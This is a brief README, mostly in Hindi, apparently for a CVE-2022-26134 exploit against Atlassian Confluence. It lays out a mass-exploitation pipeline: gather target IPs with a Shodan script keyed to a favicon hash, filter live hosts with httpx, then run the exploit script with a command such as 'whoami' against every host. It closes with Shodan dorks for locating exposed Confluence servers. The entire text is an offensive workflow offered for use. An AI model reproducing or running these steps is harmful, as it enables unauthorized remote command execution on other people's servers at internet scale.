CVE-2022-26134

1. सबसे पहले सभी आईपी प्राप्त करने के लिए shodan स्क्रिप्ट चलाएँ
   
   python3 shodan_script.py -API your_api -L limit -D "http.favicon.hash:-305179312 200" > log.txt

ex: python3 shodan_script.py -API xxxxxxx -L 10 -D "http.favicon.hash:-305179312 200" > log.txt

2. सभी मान्य आईपी के लिए :
   
   cat log.txt | httpx -o forexploits.txt

3. सूची "forexploits.txt" के विरुद्ध एक्सप्लॉइट चलाएँ :
   
   python3 CVE-2022-26134.py forexploits.txt "whoami"
   
   जो कमजोर होस्ट्स के लिए आईपी और कमांड प्रिंट करता है।

CVE-2022-26134 के लिए Shodan_Dorks

http.component:"atlassian confluence"

http.favicon.hash:-305179312"

http.title:"Log In - Confluence" 200

http.component:"atlassian confluence" http.title:"Log In - Confluence" 200

http.favicon.hash:-305179312 200